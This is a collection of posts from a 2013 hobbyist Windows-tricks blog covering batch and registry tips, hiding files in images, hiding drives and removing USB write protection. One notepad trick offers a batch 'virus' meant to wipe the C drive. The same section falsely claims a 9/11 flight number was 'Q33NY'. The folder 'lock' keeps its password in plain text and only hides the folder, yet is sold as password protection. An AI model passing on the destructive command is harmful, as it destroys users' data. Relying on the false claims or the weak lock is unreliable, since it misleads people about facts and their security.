Monday, October 7, 2013

Password Protect Any Folder Without Any Software

 

In my previous post i have teach you to hide files behind images. In this tutorial i will show you interesting and usefull trick to password protect folder without using any software using batch file programming. This trick will work on all windows platform (Win XP, Win 7). Follow below tutorial to learn this trick.

How To Lock Folder ?

   1. Open Notepad and Copy code given below into it.
cls
@ECHO OFF
title coolhacking-tricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== harish goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End
   2. Save the notepad file as lock.bat (.bat is must)
   3. Now double click on lock.bat and a new folder will be created with name MyFolder
   4. Copy all your data you want to protect in that New folder
   5. Now double click on lock.bat and when command promp appears Type Y and press enter.
   6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat
   7. It will ask for password enter your password and done. (Default password is harish)
  • To change the password replace harish with  new password in the above code

How To Further Secure ?

You might be thinking that anyone can access the password by opening that lock.bat file in Notepad or any other text editor. To make it more secure hide lock.bat in some secure location after following the above tutorial To access the secured file double click on lock.bat. I would suggest copying lock.bat file into Pendrive and copying it into your computer whenever you required to access to your protected files.

Learn To Hide Files Behind The Images

 hide files behind images


There are some important  files or document you want to hide from others on your computer. To do that you might be creating folder inside folder to hide such files but in todays tutorial i will change this by teaching you a interesting trick to hide files behind images.To hide a file behind a image  means that if any one opens that image he will see the image, but to see the hidden file we need to open that image in a specific way. So lets get started.

How To Hide File Behind Image ?

In order to do this you should have basic understanding of command line, but if you don't know check out  tutorial given below.
1. Select an image to be used for hiding file behind the image.
2. Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3. And most important is that paste both the files on desktop. You may do this anywhere instead of desktop if you have some basic understanding of command line.
4. Now open cmd by going to Start > Accessories > Command Prompt and type following commands in it.
cd desktop
hide files behind images

5. CD stands for change directory by typing above command you change your directory to desktop. After that type command given below.
 Copy /b imagename.jpg + filename.rar finalimage.jpg
hide files behind images
  • Replace imagename.jpg with the name of image you want your file to be hidden behind. Don't forget to add image format (Eg: .jpg,.png,.gif)
  • Replace filename with name of your file you want to hide. It must be in .rar format.
  • Finally Replace finalimage.jpg with whatever name you want your final image with hidden files should be. This is the image where your file will be hidden.
6. Now when you will try to open this newly created image it will open as normal image, but to open you hidden file you need follow steps given below.

How To Access Hidden File ?

To access your hidden file you need to open the newly created image in winrar. Just follow simple steps given below to do that.

    1. Open winrar
    2. Now locate your image and open it or simply drag your image in winrar.
    3. Extract the file and done.
 

Top 5 Cool Notepad Tricks

 notepad tricks

I had previously share some Interesting computer tricks as well as cool Batch file programs. In this post i will share with you guys some of the cool notepad tricks.As name suggest you don't require any program other then notepad. So lets get started.

1. World Trade Center Attack Trick

world trade center trick


The flight number of the plane that had hit World Trade Center on  (9/11) was Q33NY. Now we call this trick or a coincidence or something else but whatever it is you will be definately amazed by the this trick.

    1. Open Notepad and Type “Q33N” (without quotes) in capital letters.
    2. Increase the font size to 72.
    3. Change the Font to Wingdings.

2. Matrix Effect Trick

matrix effect trick
In this trick i will show you to make a batch file in notepad which will act as matrix effect that you might have seen in movies.Matrix effect is basically number flashes in green color.

    1. Open Noteapad and copy below code into it.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

    2. Now save this file as Matrix.bat (name can be anything but .bat is must)
    3. Open your saved file and you will have matrix effect on your screen.

3. Creating Virus That Format C Drive

In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.

    1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y
 
    2. Then Save this file as virus.bat
    3. Now, running this file format C Drive.

4. Making Personal Diary Using Notepad 

notepad tricks
Here you will learn to use notepad as Digital diary or a log book to keep record of your daily work instead of using pen and paper.

    1. Open Notepad and Type .LOG (in capital Letters and press enter
    2. Save the program with any name and close it.
    3. Open the file again. Now you can see current date and time, This will happen every time you reopen notepad

5. Dancing Keyboard Led


keyboard dancing led

In this part i will show you to make interesting file using notepad which will make keyboard led to dance. basically we will be creating a visual basic script.

    1. Open Notepad and copy below codes into it.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
    2. Then save this file as dance.vbs (name can be anything but .vbs is must)
    3. Open your save file and see your keyboard led blinking like disco lights.

Create A Undeletable And Unrenamable Folders In Windows

  creating undeleteable files

In this tutorial you will learn cool and simple trick to Create an undeletable and unrenamable Folders In Windows operating system. Most of the Peoples are not aware that it is possible to create Undeletable, Unrenamable folder in windows without any software. To Test this concept just follow simple steps given below.

Try to make a new folder in windows & give it name con,aux, lpt1, lpt2, lpt3 up to lpt9. you won't be allowed to create folder with above mentioned names, Because they are reserved words in windows.

How To Create Undeletable And Unrenamable Folders ?

  1. Go to Start and then Click on Run
  2. Type cmd & hit enter (To open Command Prompt ).
  3. Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) That means you can't make this kind of folder in C: drive if you installed windows on C:
  4. Type D: or E: and hit enter
  5. Type md con\ and hit enter (md - make directory)
  6. You may use other words such as aux, lpt1, lpt2, lpt3 up to lpt9 instead of con in above step.
  7. Open that directory, you will see the folder created of name con.
  8. Try to delete that folder or rename that folder windows will show the error message.

How to delete that folder ?

It is not possible to delete that folder manually but you can delete this folder by another way mentioned below.
  1. Open Command Prompt
  2. Type D: ( if u created this type of folder in D: drive) & hit enter
  3. Type rd con\ (rd - remove directory)
  4. Open that directory and the folder will not appear because it is removed.

Sunday, August 25, 2013

BackTrack 5 Released

The BackTrack Dev team has worked furiously in the past months on BackTrack 5, code name “revolution”. Today, we are proud to release our work to the public, and then rest for a couple of weeks.

This new revision has been built from scratch, and boasts several major improvements over all our previous releases.
BackTrack 5 released

Based on Ubuntu Lucid LTS. Kernel 2.6.38, patched with all relevant wireless injection patches. Fully open source and GPL compliant. Head down to our downloads page to get your copy now!

We would like to take this opportunity to thank several key individuals who have helped make this release possible:
  • Offensive-Security who have played a major role in development and funding of our project.
  • Devon Kearns – A new member in our BackTrack team who single-handedly covered more packages than the whole team put together. At some stage we considered renaming the release to “dookie-track”.
  • Shadz – Master of the dragon and creator of the promo movie. Check him out at http://www.zusedesign.com/
  • Digip – Master of our website and dang good artist – http://ticktockcomputers.com
  • Elwood – For getting an awesome forensics environment up. Thanks!
  • Mister_X – For going through our wireless setup and making sure everything was sparkling.
  • Bolexxx – our torrent and download master. Your download is due to him.
I would also like to personally thank each member of the BackTrack Dev team for putting the effort required to make this great release. Stay tuned to our Forums and Wiki for updates, howtos and bug fixes for BackTrack 5. These resources will grow significantly in the next couple of weeks.

Head down to the downloads page and get your copy of BackTrack 5!

Saturday, August 24, 2013

Samsung Phones - Reset security code


If you have forgotten your Samsung security code, there's a way to reset it! Solution

Please use one of the below Samsung secret codes to format your phone:

There are actually two codes that you can actually use to reset All the Phone settings,clear phone memory and password. Below are these codes. Please dial them up and have the problem solved.

Please BackUp all the contents of phone before RESET

*2767*3855#
*2767*2878#


This mean the security code will be reset to 0000. This will allow you to format the phone easily.

How to execute an app during Windows startup


 

Do you always open the same app after restarting your computer? You can automatically run a program when Windows starts, here’s different ways to do this.

Method 1: Using the Startup Folder located at the Start Menu

The startup folder located at users Start Menu let’s you configure applications to run when windows starts. You just need to create a shortcut of the program into the folder.

Startup folder of the Current User

C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Startup folder for all users

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

-Works with Windows 8, 7 and Vista-

Method 2: Using your Windows Registry to create a string value for the program

At Windows Registry, any program can be configure to run at startup by creating a string value and putting the path of the program.



Right-Click any space for the Registry Folder locations below –> Choose the Menu New String Value -> write the name of the program or any –> double click the created string value and input the File Path of the program

Windows Registry Folder Locations

For the Current User

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

For All Users

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Running the program Once after Windows Starts

- Current User

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

- For All Users

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

That’s it! Keep on reading!

 

How to make a disk drive invisible or hidden using Windows Registry and Command Prompt


 

Want to hide your personal files by making your hard disk invisible to other users? Having some problem with your privacy if you have a common PC with your family?

Here’s how to create an “invisible” hard disk drives – the easy way using only the built-in tools in your computer.

 

HIDE ANY HARD DRIVE USING THE COMMAND PROMPT 

Press the Win key, at search type “cmd” and press CTRL+SHIFT+ENTER to run the command prompt as administrator.

Once the command prompt interpreter is open, we’ll use the tool diskpart to remove and hide the drive. Here’s the summary of commands:

- diskpart

- list vol     (to display the list of drives available in the system)

- select volume [number]  => the command selects the drive that you want to hide

- remove letter=[drive letter]   => the command removes the drive letter and later hides the drive.

DISKPART> list vol

  Volume ###  Ltr  Label        Fs     Type        Size     Status     Info
--------    ---  ----------  -----  ---------  -------  ---------  ------
  Volume 0     H                          DVD-ROM         0 B  No Media
 
Volume 1     D     Disk       NTFS   Partition     34 GB  Health    
Volume 2     E                NTFS    Partition     41 GB  Healthy   
               Volume  3    C                   NTFS   Partition     73 GB  Healthy   System

DISKPART> select volume 1

Volume 1 is the selected volume.

DISKPART> remove letter=d

DiskPart successfully removed the drive letter or mount point.

The trick should hide the disk drive as shown above.

 

TO UNHIDE THE DISK DRIVE

Repeat the steps above and use the following command to re-assign the driver letter and later, unhide the hard drive.

DISKPART> assign letter=d

 

USING WINDOWS REGISTRY TO HIDE DRIVES (regedit.exe)

Windows registry data name NoDrives can hide any drives or set of drives at the same time using the registry folder below:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Create a new dword value named NoDrives and use the value of 8 in decimal for the Drive D as shown below. To take-effect, restart your computer.

To get the other drives, here’s how to calculate the Data in decimal form:

n is the position of the drive according to alphabet

For example the drive F, since it is in 6th position at the alphabet, we can know the No Drives decimal value by using the formula above

(6 - 1)  = 5    and 2 raise to 5 is 32

To Hide drive F, just use the value 32.

That’s it!

How about hiding two or more drives using Windows Registry?

It’s easy! Just add the two or more values: Let’s try drive F and I.

(9 – 1) = 8   and 2 raise to 8 is 256

Therefore, F + I = 32 + 256 = 288

Using the value of 288 it will hide the Drive F and I.

 

Note: Remember to set the value in Decimal.

Another example is hiding the drives C and E => 4 + 16 = 20

Thursday, August 22, 2013

How about hiding two or more drives using Windows Registry?

 

It’s easy! Just add the two or more values: Let’s try drive F and I.

(9 – 1) = 8   and 2 raise to 8 is 256

Therefore, F + I = 32 + 256 = 288

Using the value of 288 it will hide the Drive F and I.

 

Note: Remember to set the value in Decimal.

Another example is hiding the drives C and E => 4 + 16 = 20

Monday, August 5, 2013

Configure Windows System Key Protection


To Configure Windows System Key Protection, follow these steps:
  1. At a command prompt, type syskey, and then press ENTER.
  2. In the Securing the Windows Account Database dialog box, note that the Encryption Enabled option is selected and is the only option available. When this option is selected, Windows will always encrypt the SAM database.
  3. Click Update.
  4. Click Password Startup if you want to require a password to start Windows. Use a complex password that contains a combination of upper case and lower case letters, numbers, and symbols. The startup password must be at least 12 characters long and can be up to 128 characters long.

    Note If you must remotely restart a computer that requires a password (if you use the Password Startup option), a person must be at the local console during the restart. Use this option only if a trusted security administrator will be available to type the Startup password.
  5. Click System Generated Password if you do not want to require a startup password.

    Select either of the following options:
    • Click Store Startup Key on Floppy Disk to store the system startup password on a floppy disk. This requires that someone insert the floppy disk to start the operating system.
    • Click Store Startup Key Locally to store the encryption key on the hard disk of the local computer. This is the default option.
    Click OK two times to complete the procedure.

    Remove the SAM encryption key from the local hard disk by using the Store Startup Key on Floppy Disk option for optimum security. This provides the highest level of protection for the SAM database.

    Always create a back-up floppy disk if you use the Store Startup Key on Floppy Disk option. You can restart the system remotely if someone is available to insert the floppy disk into the computer when it restarts

Tuesday, July 9, 2013

HIDE ANY HARD DRIVE USING THE COMMAND PROMPT

Press the Win key, at search type “cmd” and press CTRL+SHIFT+ENTER to run the command prompt as administrator.
Once the command prompt interpreter is open, we’ll use the tool diskpart to remove and hide the drive. Here’s the summary of commands:
          - diskpart
- list vol     (to display the list of drives available in the system)
        - select volume [number]  => the command selects the drive that you want to hide
         - remove letter=[drive letter] => the command removes the drive letter and later hides the drive.
----------------------------------------------------------


C:\Windows\system32>diskpart

Microsoft DiskPart version 6.1.7601 

Copyright (C) 1999-2008 Microsoft Corporation. 
On computer: HARISH-PC

DISKPART> list vol

  Volume ###  Ltr  Label        Fs     Type        Size     Status     Info 
--------  ---  ----------  -----  ---------  -------  ---------  ------
  Volume 0     H                       DVD-ROM         0 B  No Media 
  Volume 1     D   Disk      NTFS   Partition     34 GB  Healthy
  Volume 2     E               NTFS   Partition     41 GB  Healthy 

  Volume 3     C               NTFS   Partition     73 GB  Healthy   System


DISKPART> select volume 1

Volume 1 is the selected volume.

DISKPART> remove letter=d

DiskPart successfully removed the drive letter or mount point.The trick should hide the disk drive as shown above.

TO UNHIDE THE DISK DRIVE

Repeat the steps above and use the following command to re-assign the
driver letter and later, unhide the hard drive.

DISKPART> assign letter=d

Sunday, June 30, 2013

Remove Write Protection From USB Drive Part-II


Some others options to remove USB Drive Write Protection


1. Modify a registry key: StorageDevicePolicies

The last solution that you might want to try after creating a backup of your registry:

1. Click Start, type regedit.exe and hit ENTER.
2. Go to the following registry key: HKEY_LOCAL_MACHINE\SYSTEM\CurrrentControlSet\Control\StorageDevicePolicies
3. Search for a key WriteProtect
4. If there is such a key change the value to
0.
5. Repeat the same for all HKEY_LOCAL_MACHINE\SYSTEM\ControlSet
00*\Control\StorageDevicePolicies (replace * with number)

2. Can’t find (3)? Create a registry key StorageDevicePolicies:

If you can’t find the key StorageDevicePolicies in step (3) you have to create it manually:

1. Right-click HKEY_LOCAL_MACHINE\SYSTEM\CurrrentControlSet\Control\
and select New -> Key.
2. Enter the name StorageDevicePolicies.
3. Click on the new registry key StorageDevicePolicies and on the right pan right-click, select New > DWORD and give it the name WriteProtect.
4. Double click on it and set its value to
0.


3. Last resort: Format your USB drive

If you still receive the error that you have to remove write protection first, try to connect the USB drive to another PC and see if the problem remains. As a last resort, you might want to copy the data on your drive or stick to another USB drive and then format the write-protected drive. After formatting the USB drive the write protection will be gone.